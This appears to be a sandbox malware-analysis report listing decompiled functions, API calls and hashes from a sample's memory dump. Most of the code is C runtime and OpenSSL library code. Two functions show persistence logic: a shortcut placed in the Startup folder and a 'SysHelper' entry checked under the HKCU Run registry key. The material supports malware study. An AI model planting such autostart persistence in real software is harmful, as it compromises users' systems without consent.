__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson__wsetlocale_nolock_wcscmp
String ID:
API String ID: 2762079118-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110
stringcomCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00411B90(void* __ecx, WCHAR* __edx, void* _a4) {
				void* _v8;
				void* _v12;
				struct _ITEMIDLIST* _v16;
				char _v20;
				short _v532;
				char* _t30;
				intOrPtr* _t34;
				intOrPtr* _t35;
				intOrPtr* _t43;
				intOrPtr* _t48;
				intOrPtr* _t49;
				void* _t50;
				WCHAR* _t51;
				intOrPtr* _t54;
				intOrPtr* _t55;
				void* _t67;
				void* _t70;

				_t51 = __edx;
				_v8 = 0;
				_v12 = 0;
				__imp__CoInitialize(0, _t67, _t70, _t50);
				_t30 =  &_v8;
				__imp__CoCreateInstance(0x4ce908, 0, 1, 0x4cd568, _t30);
				__imp__CoUninitialize();
				if(_t30 >= 0) {
					_t34 = _v8;
					_t30 =  *((intOrPtr*)( *_t34))(_t34, 0x4cf2e8,  &_v12);
					if(_t30 >= 0) {
						_t35 = _v8;
						_t30 =  *((intOrPtr*)( *_t35 + 0x50))(_t35, __ecx);
						if(_t30 >= 0) {
							SHGetSpecialFolderLocation(_a4, 7,  &_v16);
							__imp__SHGetPathFromIDListW(_v16,  &_v532);
							lstrcatW( &_v532, "\\");
							lstrcatW( &_v532, _t51);
							_t43 = _v12;
							_t30 =  *((intOrPtr*)( *_t43 + 0x18))(_t43,  &_v532, 1);
							if(_t30 >= 0) {
								GetSystemDirectoryW( &_v532, 0x100);
								lstrcatW( &_v532, L"\\shell32.dll");
								_t48 = _v8;
								_t30 =  *((intOrPtr*)( *_t48 + 0x44))(_t48,  &_v532, 1);
								if(_t30 >= 0) {
									_t49 = _v8;
									_t30 =  *((intOrPtr*)( *_t49 + 0x40))(_t49,  &_v532, 0x100,  &_v20);
								}
							}
						}
					}
				}
				_t54 = _v12;
				if(_t54 != 0) {
					_t30 =  *((intOrPtr*)( *_t54 + 8))(_t54);
				}
				_t55 = _v8;
				if(_t55 == 0) {
					return _t30;
				} else {
					return  *((intOrPtr*)( *_t55 + 8))(_t55);
				}
			}

0x00411b9e
0x00411ba0
0x00411ba9
0x00411bb0
0x00411bb6
0x00411bc8
0x00411bd0
0x00411bd8
0x00411bde
0x00411bed
0x00411bf1
0x00411bf7
0x00411bfe
0x00411c03
0x00411c12
0x00411c22
0x00411c3a
0x00411c44
0x00411c46
0x00411c55
0x00411c5a
0x00411c68
0x00411c7a
0x00411c7c
0x00411c8b
0x00411c90
0x00411c92
0x00411ca8
0x00411ca8
0x00411c90
0x00411c5a
0x00411c03
0x00411bf1
0x00411cab
0x00411cb3
0x00411cb8
0x00411cb8
0x00411cbb
0x00411cc0
0x00411ccb
0x00411cc2
0x00000000
0x00411cc5

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E004549A0(void* __ebx) {
				signed int _v8;
				long _v12;
				void* _v16;
				void* _v24;
				void* __edi;
				void* __esi;
				signed int _t21;
				CHAR* _t23;
				void* _t31;
				unsigned int _t34;
				struct HINSTANCE__* _t42;
				void* _t43;
				void* _t52;
				void* _t54;
				void* _t55;
				long _t56;
				signed int _t58;
				void* _t59;

				_t43 = __ebx;
				E0042F7C0(0xc);
				_t21 =  *0x50ad20; // 0xd964a3b
				_v8 = _t21 ^ _t58;
				_t23 =  *0x512a94;
				if(_t23 != 0) {
					L12:
					if(_t23 == 0xffffffff) {
						goto L6;
					} else {
						 *_t23();
						return E0042A77E(_t43, _v8 ^ _t58, _t52, _t54, _t56);
					}
				} else {
					_t42 = GetModuleHandleA(_t23);
					if(_t42 == 0) {
						_t23 =  *0x512a94;
					} else {
						_t23 = GetProcAddress(_t42, "_OPENSSL_isservice");
						 *0x512a94 = _t23;
					}
					if(_t23 != 0) {
						goto L12;
					} else {
						 *0x512a94 = 0xffffffff;
						L6:
						GetDesktopWindow();
						_t55 = GetProcessWindowStation();
						if(_t55 == 0 || GetUserObjectInformationW(_t55, 2, 0, 0,  &_v12) != 0 || GetLastError() != 0x7a) {
							L14:
							return E0042A77E(_t43, _v8 ^ _t58, _t52, _t55, _t56);
						} else {
							_t56 = _v12;
							if(_t56 > 0x200) {
								goto L14;
							} else {
								_t56 = _t56 + 0x00000001 & 0xfffffffe;
								E0043F980(_t56 + 2, _t56);
								_t31 = _t59;
								_v16 = _t31;
								if(GetUserObjectInformationW(_t55, 2, _t31, _t56,  &_v12) == 0) {
									goto L14;
								} else {
									_t47 = _v16;
									_t34 = _v12 + 0x00000001 & 0xfffffffe;
									_v12 = _t34;
									_push(L"Service-0x");
									 *((short*)(_v16 + (_t34 >> 1) * 2)) = 0;
									E00421C02(_v16);
									asm("sbb eax, eax");
									return E0042A77E(_t43, _v8 ^ _t58, 0, _t55, _t56, _t47);
								}
							}
						}
					}
				}
			}

0x004549a0
0x004549a8
0x004549ad
0x004549b4
0x004549b7
0x004549c0
0x00454aab
0x00454aae
0x00000000
0x00454ab4
0x00454ab4
0x00454ac8
0x00454ac8
0x004549c6
0x004549c7
0x004549cf
0x004549e4
0x004549d1
0x004549d7
0x004549dd
0x004549dd
0x004549eb
0x00000000
0x004549f1
0x004549f1
0x004549fb
0x004549fb
0x00454a07
0x00454a0b
0x00454ac9
0x00454ade
0x00454a39
0x00454a39
0x00454a42
0x00000000
0x00454a48
0x00454a49
0x00454a52
0x00454a57
0x00454a62
0x00454a6d
0x00000000
0x00454a6f
0x00454a74
0x00454a78
0x00454a7b
0x00454a80
0x00454a86
0x00454a8a
0x00454a94
0x00454aaa
0x00454aaa
0x00454a6d
0x00454a42
0x00454a0b
0x004549eb

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75
registrywindowCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E00454AE0(void* __ebx, void* __edx, void* __edi, void* __esi, char _a4, char _a259, signed int _a260, wchar_t* _a268, void _a272) {
				CHAR* _v0;
				signed int _t17;
				void* _t19;
				void* _t46;
				void* _t49;
				void* _t50;
				signed int _t51;
				signed int _t52;

				_t48 = __esi;
				_t47 = __edi;
				_t46 = __edx;
				_t39 = __ebx;
				E0042F7C0(0x108);
				_t17 =  *0x50ad20; // 0xd964a3b
				_a260 = _t17 ^ _t51;
				_t19 = GetStdHandle(0xfffffff4);
				if(_t19 == 0 || GetFileType(_t19) == 0) {
					vswprintf( &_a4, 0xff, _a268,  &_a272);
					_t52 = _t51 + 0x10;
					_a259 = 0;
					if(E004549A0(_t39) <= 0) {
						MessageBoxA(0,  &_a4, "OpenSSL: FATAL", 0x10);
						return E0042A77E(_t39, _a260 ^ _t52, _t46, _t47, _t48);
					} else {
						_t49 = RegisterEventSourceA(0, "OPENSSL");
						_v0 =  &_a4;
						ReportEventA(_t49, 1, 0, 0, 0, 1, 0,  &_v0, 0);
						DeregisterEventSource(_t49);
						_t50 = _t48;
						return E0042A77E(_t39, _a260 ^ _t52, _t46, _t47, _t50);
					}
				} else {
					E0042BDCC(E00420E4D() + 0x40, _a268,  &_a272);
					return E0042A77E(__ebx, _a260 ^ _t51 + 0x0000000c, _t46, __edi, __esi);
				}
			}

0x00454ae0
0x00454ae0
0x00454ae0
0x00454ae0
0x00454ae5
0x00454aea
0x00454af1
0x00454afa
0x00454b02
0x00454b5d
0x00454b62
0x00454b65
0x00454b74
0x00454bd3
0x00454bed
0x00454b76
0x00454b86
0x00454b8c
0x00454ba2
0x00454ba9
0x00454baf
0x00454bc4
0x00454bc4
0x00454b0f
0x00454b27
0x00454b43
0x00454b43

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32 ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00412360() {
				void* _v8;
				int _v12;
				int _v16;
				int _v20;
				char _v2066;
				short _v2068;
				short _v4116;
				signed int _t35;

				E0042F7C0(0x1010);
				_v8 = 0;
				if(RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0xf003f,  &_v8) == 0) {
					_v12 = 1;
					_v2068 = 0;
					E0042B420( &_v2066, 0, 0x7fe);
					_v20 = 0x400;
					RegQueryValueExW(_v8, L"SysHelper", 0,  &_v12,  &_v2068,  &_v20);
					RegCloseKey(_v8);
					_v16 = 0;
					lstrcpyW( &_v4116,  *(CommandLineToArgvW(GetCommandLineW(),  &_v16)));
					_t35 = lstrcmpW( &_v4116,  &_v2068);
					asm("sbb eax, eax");
					return  ~_t35 + 1;
				} else {
					return 0;
				}
			}

0x00412368
0x00412370
0x00412391
0x0041239b
0x004123a8
0x004123b6
0x004123be
0x004123de
0x004123e7
0x004123ed
0x0041240e
0x00412422
0x0041242a
0x00412430
0x00412393
0x00412398
0x00412398

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32 ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00423576(signed int __edx, signed int _a4, signed int _a8) {
				char _v8;
				char _v12;
				char _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int* _t81;
				signed int _t83;
				void* _t84;
				signed int _t87;
				signed int _t89;
				signed int _t92;
				void* _t94;
				signed int _t95;
				signed int _t98;
				signed int _t100;
				signed int _t102;
				signed int _t105;
				void* _t106;
				signed int _t108;
				void* _t109;
				signed int _t111;
				signed int _t117;
				signed int _t126;
				signed int _t132;
				signed int* _t135;
				signed int _t139;
				signed int _t141;
				void* _t143;
				void* _t155;
				signed int _t158;
				signed int _t167;
				signed int* _t171;
				signed int _t173;
				signed int _t177;
				signed int _t178;
				intOrPtr _t180;
				signed int _t182;
				void* _t184;
				void* _t186;
				signed int _t187;
				signed int _t188;

				_t167 = __edx;
				_t171 = _a4;
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				_t195 = _t171;
				if(_t171 != 0) {
					E0042B420(_t171, 0xff, 0x24);
					_t177 = _a8;
					__eflags = _t177;
					if(__eflags == 0) {
						goto L1;
					} else {
						__eflags =  *(_t177 + 4);
						if(__eflags > 0) {
							L9:
							_t84 = 7;
							__eflags =  *(_t177 + 4) - _t84;
							if(__eflags < 0) {
								L12:
								E0042FB64(0, _t167, _t171, _t177, __eflags);
								_t87 = E0042F803( &_v12);
								__eflags = _t87;
								if(_t87 != 0) {
									L45:
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									E004242FD(0, _t167);
									asm("int3");
									_push(_t177);
									_t180 = _v52;
									_t89 =  *(_t180 + 0xc);
									__eflags = _t89 & 0x00000083;
									if(__eflags != 0) {
										_push(0);
										_t139 = _a8;
										 *(_t180 + 0xc) = _t89 & 0xffffffef;
										_push(_t171);
										__eflags = _t139 - 1;
										if(_t139 != 1) {
											_t173 = _a4;
										} else {
											_t173 = _a4 + E004230C5(_t139, _t167, _t180, _t180);
											_t139 = 0;
										}
										E0042836B(_t167, _t180);
										_t92 =  *(_t180 + 0xc);
										__eflags = _t92;
										if(_t92 >= 0) {
											__eflags = _t92 & 0x00000001;
											if((_t92 & 0x00000001) != 0) {
												__eflags = _t92 & 0x00000008;
												if((_t92 & 0x00000008) != 0) {
													__eflags = _t92 & 0x00000400;
													if((_t92 & 0x00000400) == 0) {
														 *((intOrPtr*)(_t180 + 0x18)) = 0x200;
													}
												}
											}
										} else {
											 *(_t180 + 0xc) = _t92 & 0xfffffffc;
										}
										_push(_t139);
										_push(_t173);
										_push(E0042816B(_t180));
										_t94 = E0042818F(_t139, _t167, _t173, _t180, __eflags);
										__eflags = _t94 - 0xffffffff;
										_t78 = _t94 != 0xffffffff;
										__eflags = _t78;
										_t79 = (0 | _t78) - 1; // -1
										_t95 = _t79;
									} else {
										_t98 = E00425208(__eflags);
										 *_t98 = 0x16;
										_t95 = _t98 | 0xffffffff;
									}
									return _t95;
								} else {
									_t100 = E0042F82D( &_v16);
									__eflags = _t100;
									if(_t100 != 0) {
										goto L45;
									} else {
										_t102 = E0042F857( &_v8);
										__eflags = _t102;
										if(_t102 != 0) {
											goto L45;
										} else {
											_t11 = _t177 + 4; // 0x858d0050
											_t141 =  *_t11;
											_t155 =  *_t177;
											__eflags = _t141;
											if(__eflags < 0) {
												L23:
												_t83 = E0042F939(_t171, _t177);
												__eflags = _t83;
												if(_t83 == 0) {
													__eflags = _v12 - _t83;
													if(__eflags == 0) {
														L27:
														asm("cdq");
														_t182 = _t167;
														asm("cdq");
														_t143 =  *_t171 - _v8;
														asm("sbb esi, edx");
													} else {
														_push(_t171);
														_t126 = E0042FBB4(_t141, _t171, _t177, __eflags);
														__eflags = _t126;
														if(_t126 == 0) {
															goto L27;
														} else {
															asm("cdq");
															_t171[8] = 1;
															asm("cdq");
															_t143 =  *_t171 - _v16 + _v8;
															asm("sbb edx, esi");
															_a4 = _t167;
															_t182 = _t167;
														}
													}
													_t105 = E004305A0(_t143, _t182, 0x3c, 0);
													 *_t171 = _t105;
													__eflags = _t105;
													if(_t105 < 0) {
														_t143 = _t143 + 0xffffffc4;
														 *_t171 = _t105 + 0x3c;
														asm("adc esi, 0xffffffff");
													}
													_t106 = E004304F0(_t143, _t182, 0x3c, 0);
													_t144 = _t167;
													asm("cdq");
													_t184 = _t106 + _t171[1];
													asm("adc ebx, edx");
													_t108 = E004305A0(_t184, _t167, 0x3c, 0);
													_t171[1] = _t108;
													__eflags = _t108;
													if(_t108 < 0) {
														_t184 = _t184 + 0xffffffc4;
														_t171[1] = _t108 + 0x3c;
														asm("adc ebx, 0xffffffff");
													}
													_t109 = E004304F0(_t184, _t144, 0x3c, 0);
													_t145 = _t167;
													asm("cdq");
													_t186 = _t109 + _t171[2];
													asm("adc ebx, edx");
													_t111 = E004305A0(_t186, _t167, 0x18, 0);
													_t171[2] = _t111;
													__eflags = _t111;
													if(_t111 < 0) {
														_t186 = _t186 + 0xffffffe8;
														_t171[2] = _t111 + 0x18;
														asm("adc ebx, 0xffffffff");
													}
													_t158 = E004304F0(_t186, _t145, 0x18, 0);
													__eflags = _t167;
													if(__eflags < 0) {
														L43:
														_t171[3] = _t171[3] + _t158;
														asm("cdq");
														_t187 = 7;
														_t117 = _t171[3];
														_t171[6] = (_t171[6] + 7 + _t158) % _t187;
														__eflags = _t117;
														if(_t117 > 0) {
															goto L38;
														} else {
															_t171[4] = 0xb;
															_t171[3] = _t117 + 0x1f;
															_t55 = _t158 + 0x16d; // 0x16d
															_t171[7] = _t171[7] + _t55;
															_t171[5] = _t171[5] - 1;
														}
													} else {
														if(__eflags > 0) {
															L37:
															asm("cdq");
															_t188 = 7;
															_t39 =  &(_t171[3]);
															 *_t39 = _t171[3] + _t158;
															__eflags =  *_t39;
															_t171[6] = (_t171[6] + _t158) % _t188;
															L38:
															_t42 =  &(_t171[7]);
															 *_t42 = _t171[7] + _t158;
															__eflags =  *_t42;
														} else {
															__eflags = _t158;
															if(_t158 == 0) {
																__eflags = _t167;
																if(__eflags <= 0) {
																	if(__eflags < 0) {
																		goto L43;
																	} else {
																		__eflags = _t158;
																		if(_t158 < 0) {
																			goto L43;
																		}
																	}
																}
															} else {
																goto L37;
															}
														}
													}
													goto L39;
												}
											} else {
												if(__eflags > 0) {
													L18:
													asm("cdq");
													asm("sbb ebx, edx");
													_v24 = _t155 - _v8;
													_v20 = _t141;
													_t83 = E0042F939(_t171,  &_v24);
													__eflags = _t83;
													if(_t83 == 0) {
														__eflags = _v12 - _t83;
														if(__eflags == 0) {
															L39:
															_t83 = 0;
														} else {
															_push(_t171);
															_t132 = E0042FBB4(_t141, _t171, _t177, __eflags);
															__eflags = _t132;
															if(_t132 == 0) {
																goto L39;
															} else {
																asm("cdq");
																_v24 = _v24 - _v16;
																asm("sbb [ebp-0x10], edx");
																_t83 = E0042F939(_t171,  &_v24);
																__eflags = _t83;
																if(_t83 == 0) {
																	_t171[8] = 1;
																	goto L39;
																}
															}
														}
													}
												} else {
													__eflags = _t155 - 0x3f480;
													if(_t155 <= 0x3f480) {
														goto L23;
													} else {
														goto L18;
													}
												}
											}
											goto L3;
										}
									}
								}
							} else {
								if(__eflags > 0) {
									goto L8;
								} else {
									__eflags =  *_t177 - 0x93406fff;
									if(__eflags > 0) {
										goto L8;
									} else {
										goto L12;
									}
								}
							}
						} else {
							if(__eflags < 0) {
								L8:
								_t135 = E00425208(__eflags);
								_t178 = 0x16;
								 *_t135 = _t178;
								goto L2;
							} else {
								__eflags =  *_t177;
								if(__eflags >= 0) {
									goto L9;
								} else {
									goto L8;
								}
							}
						}
					}
				} else {
					L1:
					_t81 = E00425208(_t195);
					_t178 = 0x16;
					 *_t81 = _t178;
					E004242D2();
					L2:
					_t83 = _t178;
					L3:
					return _t83;
				}
			}

0x00423576
0x00423581
0x00423584
0x00423587
0x0042358a
0x0042358d
0x0042358f
0x004235b1
0x004235b6
0x004235bc
0x004235be
0x00000000
0x004235c0
0x004235c0
0x004235c3
0x004235d7
0x004235d9
0x004235da
0x004235dd
0x004235e9
0x004235e9
0x004235f2
0x004235f8
0x004235fa
0x004237e5
0x004237e5
0x004237e6
0x004237e7
0x004237e8
0x004237e9
0x004237ea
0x004237ef
0x004237f3
0x004237f4
0x004237f7
0x004237fa
0x004237fc
0x0042380e
0x0042380f
0x00423815
0x00423818
0x00423819
0x0042381c
0x0042382e
0x0042381e
0x00423827
0x00423829
0x0042382b
0x00423832
0x00423837
0x0042383b
0x0042383d
0x00423847
0x00423849
0x0042384b
0x0042384d
0x0042384f
0x00423854
0x00423856
0x00423856
0x00423854
0x0042384d
0x0042383f
0x00423842
0x00423842
0x0042385d
0x0042385e
0x00423866
0x00423867
0x00423871
0x00423874
0x00423874
0x00423879
0x00423879
0x004237fe
0x004237fe
0x00423803
0x00423809
0x00423809
0x0042387e
0x00423600
0x00423604
0x0042360a
0x0042360c
0x00000000
0x00423612
0x00423616
0x0042361c
0x0042361e
0x00000000
0x00423624
0x00423624
0x00423624
0x00423627
0x00423629
0x0042362b
0x0042369b
0x0042369d
0x004236a4
0x004236a6
0x004236ac
0x004236af
0x004236de
0x004236e0
0x004236e3
0x004236e8
0x004236e9
0x004236eb
0x004236b1
0x004236b1
0x004236b2
0x004236b8
0x004236ba
0x00000000
0x004236bc
0x004236c2
0x004236c5
0x004236d0
0x004236d3
0x004236d5
0x004236d7
0x004236da
0x004236da
0x004236ba
0x004236f3
0x004236f8
0x004236fa
0x004236fc
0x00423701
0x00423704
0x00423706
0x00423706
0x0042370f
0x00423716
0x0042371b
0x0042371c
0x00423722
0x00423726
0x0042372b
0x0042372e
0x00423730
0x00423735
0x00423738
0x0042373b
0x0042373b
0x00423744
0x0042374b
0x00423750
0x00423751
0x00423757
0x0042375b
0x00423760
0x00423763
0x00423765
0x0042376a
0x0042376d
0x00423770
0x00423770
0x0042377e
0x00423780
0x00423782
0x004237af
0x004237b5
0x004237bc
0x004237bd
0x004237c0
0x004237c3
0x004237c6
0x004237c8
0x00000000
0x004237ca
0x004237cd
0x004237d4
0x004237d7
0x004237dd
0x004237e0
0x004237e0
0x00423784
0x00423784
0x0042378a
0x00423791
0x00423792
0x00423795
0x00423795
0x00423795
0x00423798
0x0042379b
0x0042379b
0x0042379b
0x0042379b
0x00423786
0x00423786
0x00423788
0x004237a5
0x004237a7
0x004237a9
0x00000000
0x004237ab
0x004237ab
0x004237ad
0x00000000
0x00000000
0x004237ad
0x004237a9
0x00000000
0x00000000
0x00000000
0x00423788
0x00423784
0x00000000
0x00423782
0x0042362d
0x0042362d
0x00423637
0x0042363a
0x00423641
0x00423643
0x00423647
0x0042364a
0x00423651
0x00423653
0x00423659
0x0042365c
0x0042379e
0x0042379e
0x00423662
0x00423662
0x00423663
0x00423669
0x0042366b
0x00000000
0x00423671
0x00423674
0x00423675
0x0042367c
0x00423680
0x00423687
0x00423689
0x0042368f
0x00000000
0x0042368f
0x00423689
0x0042366b
0x0042365c
0x0042362f
0x0042362f
0x00423635
0x00000000
0x00000000
0x00000000
0x00000000
0x00423635
0x0042362d
0x00000000
0x0042362b
0x0042361e
0x0042360c
0x004235df
0x004235df
0x00000000
0x004235e1
0x004235e1
0x004235e7
0x00000000
0x00000000
0x00000000
0x00000000
0x004235e7
0x004235df
0x004235c5
0x004235c5
0x004235cb
0x004235cb
0x004235d2
0x004235d3
0x00000000
0x004235c7
0x004235c7
0x004235c9
0x00000000
0x00000000
0x00000000
0x00000000
0x004235c9
0x004235c5
0x004235c3
0x00423591
0x00423591
0x00423591
0x00423598
0x00423599
0x0042359b
0x004235a0
0x004235a0
0x004235a2
0x004235a8
0x004235a8

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779
__invoke_watson.LIBCMT ref: 004237EA

Memory Dump Source

